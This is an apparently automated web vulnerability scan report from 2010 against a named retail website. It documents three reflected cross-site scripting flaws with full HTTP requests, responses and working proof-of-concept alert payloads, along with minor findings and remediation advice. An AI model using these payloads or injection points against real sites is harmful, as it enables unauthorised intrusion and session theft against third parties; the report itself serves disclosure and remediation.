Report generated by Hoyt LLC Research at Mon Oct 04 15:05:02 EDT 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1.1. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [name of an arbitrarily supplied request parameter]

1.2. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [nsextt parameter]

1.3. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [nsextt parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

3.1. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

3.2. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/favicon3.ico

4. Cookie without HttpOnly flag set

5. Email addresses disclosed

6. Robots.txt file

1. Cross-site scripting (reflected) next
There are 3 instances of this issue:

/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [name of an arbitrarily supplied request parameter]
/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [nsextt parameter]
/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [nsextt parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 906c2<script>alert(1)</script>b4d3f9a13c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx?nsextt='%22--%3E%3Cscript%3Ealert(0x00000B)%3C/script%3E&906c2<script>alert(1)</script>b4d3f9a13c5=1 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.deandeluca.com
Cookie: mbox=check#true#1285890430|session#1285890369474-965072#1285892230|PC#1285890369474-965072.15#1287099972; __utma=202318980.618993594.1285890371.1285890371.1285890371.1; EktGUID=ab11d1dc-5b61-4e73-be45-660e87111a83; EkAnalytics=0

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 04 Oct 2010 17:42:31 GMT
Content-Type: text/html; charset=utf-8
ETag: " "
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=unqzt4g25ydyocasdvbzbuis; path=/; HttpOnly
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033; path=/
Vary: Accept-Encoding
Content-Length: 138815

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml">
<head id="Head1"><title>

...[SNIP]...
</script>&906c2<script>alert(1)</script>b4d3f9a13c5=1","entity.thumbnailURL=/ProductImg/300/351169.jpg","entity.inventory=1","entity.value=14.0000","entity.ProductItemID=4789","entity.addToCartImg=~/Images/Buttons/btn_AddToCartFlat.gif");</script>
...[SNIP]...

1.2. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [nsextt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

Issue detail

The value of the nsextt request parameter is copied into the HTML document as plain text between tags. The payload 1220a<script>alert(1)</script>25f945c5f23 was submitted in the nsextt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx?nsextt='%22--%3E%3Cscript%3Ealert(0x00000B)%3C/script%3E1220a<script>alert(1)</script>25f945c5f23 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.deandeluca.com
Cookie: mbox=check#true#1285890430|session#1285890369474-965072#1285892230|PC#1285890369474-965072.15#1287099972; __utma=202318980.618993594.1285890371.1285890371.1285890371.1; EktGUID=ab11d1dc-5b61-4e73-be45-660e87111a83; EkAnalytics=0

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 04 Oct 2010 17:40:10 GMT
Content-Type: text/html; charset=utf-8
ETag: " "
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=g0vnuzo4jqwnk5exvfwl2qkk; path=/; HttpOnly
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033; path=/
Vary: Accept-Encoding
Content-Length: 138790

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml">
<head id="Head1"><title>

...[SNIP]...
</script>1220a<script>alert(1)</script>25f945c5f23","entity.thumbnailURL=/ProductImg/300/351169.jpg","entity.inventory=1","entity.value=14.0000","entity.ProductItemID=4789","entity.addToCartImg=~/Images/Buttons/btn_AddToCartFlat.gif");</script>
...[SNIP]...

1.3. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx [nsextt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

Issue detail

The value of the nsextt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ea2a"%3balert(1)//84f0a6147e was submitted in the nsextt parameter. This input was echoed as 8ea2a";alert(1)//84f0a6147e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx?nsextt=8ea2a"%3balert(1)//84f0a6147e HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.deandeluca.com
Cookie: mbox=check#true#1285890430|session#1285890369474-965072#1285892230|PC#1285890369474-965072.15#1287099972; __utma=202318980.618993594.1285890371.1285890371.1285890371.1; EktGUID=ab11d1dc-5b61-4e73-be45-660e87111a83; EkAnalytics=0

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 04 Oct 2010 17:40:08 GMT
Content-Type: text/html; charset=utf-8
ETag: " "
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033; path=/
Set-Cookie: ASP.NET_SessionId=z4era5z501m2zjq2dbrxj5js; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 138444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml">
<head id="Head1"><title>

...[SNIP]...
eluca_productpage_rec","entity.id=160213704","entity.categoryId=65","entity.name=DEAN & DELUCA Capital City Blend","entity.pageURL=http://www.deandeluca.com/viewproduct.aspx?productid=160213704&nsextt=8ea2a";alert(1)//84f0a6147e","entity.thumbnailURL=/ProductImg/300/351169.jpg","entity.inventory=1","entity.value=14.0000","entity.ProductItemID=4789","entity.addToCartImg=~/Images/Buttons/btn_AddToCartFlat.gif");</script>
...[SNIP]...

2. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx?nsextt='%22--%3E%3Cscript%3Ealert(0x00000B)%3C/script%3E

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://feeds.feedburner.com/DeanDeluca
http://feeds.feedburner.com/DeanDelucaEmails
http://feeds.feedburner.com/deandeluca
http://livechat.boldchat.com/aid/2352645417708446542/bc.chat?cwdid=470127047946939283&wdid=4487341362622836343&rdid=715197141547420175
http://s7.addthis.com/js/250/addthis_widget.js
http://tbe.taleo.net/NA1/ats/careers/jobSearch.jsp?org=TPDNDL&cws=1
http://twitter.com/DeanandDeluca
http://twitter.com/MarkDDaley
http://www.facebook.com/DeanDeLucaWine
http://www.facebook.com/deandeluca
https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
https://www.googleadservices.com/pagead/conversion.js
https://www.googleadservices.com/pagead/conversion/1060046987/?label=7gk1CJ3e7gEQi5G8-QM&guid=ON&script=0

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx?nsextt='%22--%3E%3Cscript%3Ealert(0x00000B)%3C/script%3E HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.deandeluca.com
Cookie: mbox=check#true#1285890430|session#1285890369474-965072#1285892230|PC#1285890369474-965072.15#1287099972; __utma=202318980.618993594.1285890371.1285890371.1285890371.1; EktGUID=ab11d1dc-5b61-4e73-be45-660e87111a83; EkAnalytics=0

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 04 Oct 2010 17:39:36 GMT
Content-Type: text/html; charset=utf-8
ETag: " "
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=l3uh1fahsarogrp3rlbyxhfu; path=/; HttpOnly
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033; path=/
Vary: Accept-Encoding
Content-Length: 138527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml">
<head id="Head1"><title>

...[SNIP]...
</base><link rel="alternate" type="application/rss+xml" title="Dean & DeLuca RSS" href="http://feeds.feedburner.com/deandeluca" /><link rel="alternate" type="application/rss+xml" title="Dean & DeLuca E-mail RSS Feed" href="http://feeds.feedburner.com/DeanDelucaEmails" />
<script type="text/javascript" src="/Scripts/mbox.js">
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link type="text/css" media="screen" rel="stylesheet" href="/Styles/colorbox.css" />
       <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
<div style="float: left;">
                                   <a class="bread_crumb_inactive_font" href="http://livechat.boldchat.com/aid/2352645417708446542/bc.chat?cwdid=470127047946939283&wdid=4487341362622836343&rdid=715197141547420175" target="_blank"
                                   onClick="window.open('http://livechat.boldchat.com/aid/2352645417708446542/bc.chat?cwdid=470127047946939283&wdid=4487341362622836343&rdid=715197141547420175&url=' + escape(document.location.href), 'Chat1264004849882262693', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=640,height=480');return false;">
                           Live Chat</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=YOUR-ACCOUNT-ID"></script>
...[SNIP]...
<td>
<a href="http://tbe.taleo.net/NA1/ats/careers/jobSearch.jsp?org=TPDNDL&cws=1"
target="_blank" rel="noFollow">Careers</a>
...[SNIP]...
<map name="Map"><area shape="rect" coords="1,27,160,68" href="http://www.facebook.com/deandeluca" rel="nofollow" target="_blank" alt="Become a fan on Facebook!">
<area shape="rect" coords="164,27,318,69" href="http://twitter.com/DeanandDeluca" rel="nofollow" target="_blank"><area shape="rect" coords="1,71,162,111" href="http://feeds.feedburner.com/DeanDeluca" target="_blank" alt="Subscribe to our RSS feed!">
<area shape="rect" coords="163,72,318,111" href="http://thegourmetfoodblog.deandeluca.com/" target="_blank" alt="Visit the gourmet food blog for recipes and helpful tips!">
<area shape="rect" coords="1,114,159,149" href="http://www.facebook.com/DeanDeLucaWine" rel="nofollow" target="_blank" alt="Connect with our Wine Department!"><area shape="rect" coords="164,113,317,149" href="http://twitter.com/MarkDDaley" rel="nofollow" target="_blank" alt="Follow our CEO, Mark Daley, on Twitter!">
</map>
...[SNIP]...
</script>
<script type="text/javascript" src="https://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="https://www.googleadservices.com/pagead/conversion/1060046987/?label=7gk1CJ3e7gEQi5G8-QM&guid=ON&script=0"/>
</div>
...[SNIP]...

3. Cross-domain script include previous next
There are 2 instances of this issue:

/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx
/coffee-tea-cocoa/tea-coffee-ns/favicon3.ico

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

3.1. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://s7.addthis.com/js/250/addthis_widget.js
https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
https://www.googleadservices.com/pagead/conversion.js

Request

Response

3.2. http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/favicon3.ico previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/favicon3.ico

Issue detail

The response dynamically includes the following script from another domain:

https://www.googleadservices.com/pagead/conversion.js

Request

GET /coffee-tea-cocoa/tea-coffee-ns/favicon3.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.deandeluca.com
Proxy-Connection: Keep-Alive
Cookie: mbox=check#true#1285890430|session#1285890369474-965072#1285892230|PC#1285890369474-965072.15#1287099972; __utma=202318980.618993594.1285890371.1285890371.1285890371.1; EktGUID=ab11d1dc-5b61-4e73-be45-660e87111a83; EkAnalytics=0; ASP.NET_SessionId=rzrxkpjvr301vjxfkt1joqay; ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon, 04 Oct 2010 17:41:46 GMT
Content-Type: text/html; charset=utf-8
ETag: " "
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Vary: Accept-Encoding
Content-Length: 87310

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml">
<head id="Head1"><title>

...[SNIP]...
</script>
<script type="text/javascript" src="https://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

4. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

5. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/Scripts/jquery.colorbox.js

Issue detail

The following email address was disclosed in the response:

jack@colorpowered.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /Scripts/jquery.colorbox.js HTTP/1.1
Accept: */*
Referer: http://www.deandeluca.com/coffee-tea-cocoa/tea-coffee-ns/dean-and-deluca-capital-city-blend.aspx?nsextt='%22--%3E%3Cscript%3Ealert(0x00000B)%3C/script%3E
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.deandeluca.com
Proxy-Connection: Keep-Alive
Cookie: mbox=check#true#1285890430|session#1285890369474-965072#1285892230|PC#1285890369474-965072.15#1287099972; __utma=202318980.618993594.1285890371.1285890371.1285890371.1; EktGUID=ab11d1dc-5b61-4e73-be45-660e87111a83; EkAnalytics=0; ASP.NET_SessionId=rzrxkpjvr301vjxfkt1joqay; ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.deandeluca.com&SiteLanguage=1033

Response

HTTP/1.1 200 OK
Cache-Control: max-age=31536000
Content-Type: application/x-javascript
Last-Modified: Fri, 01 Oct 2010 21:18:38 GMT
Accept-Ranges: bytes
ETag: " "
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Date: Mon, 04 Oct 2010 17:41:36 GMT
Content-Length: 20136

/*!    ColorBox v1.3.1 - a full featured, light-weight, customizable lightbox based on jQuery 1.3 */
//    (c) 2009 Jack Moore - www.colorpowered.com - jack@colorpowered.com
//    Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php

(function ($) {
   //Shortcuts (to increase compression)
   var colorbox = 'colorbox',
   hover = 'hover',
   TRUE
...[SNIP]...

6. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.deandeluca.com
Path:	/workarea/csslib/ektronCss.ashx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.deandeluca.com

Response

HTTP/1.1 200 OK
Cache-Control: max-age=31536000
Content-Length: 571
Content-Type: text/plain
Last-Modified: Fri, 10 Sep 2010 16:32:35 GMT
Accept-Ranges: bytes
ETag: " "
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Date: Mon, 04 Oct 2010 17:39:36 GMT
Connection: close

User-agent: *
Disallow: /checklist.html
Disallow: /backoffice/
Disallow: /Aboutus/Default.aspx?id=2434
Disallow: /Aboutus/Default.aspx?id=2436
Disallow: /Aboutus/Default.aspx?id=2428
Disallow: /
...[SNIP]...

Report generated by Hoyt LLC Research at Mon Oct 04 15:05:02 EDT 2010.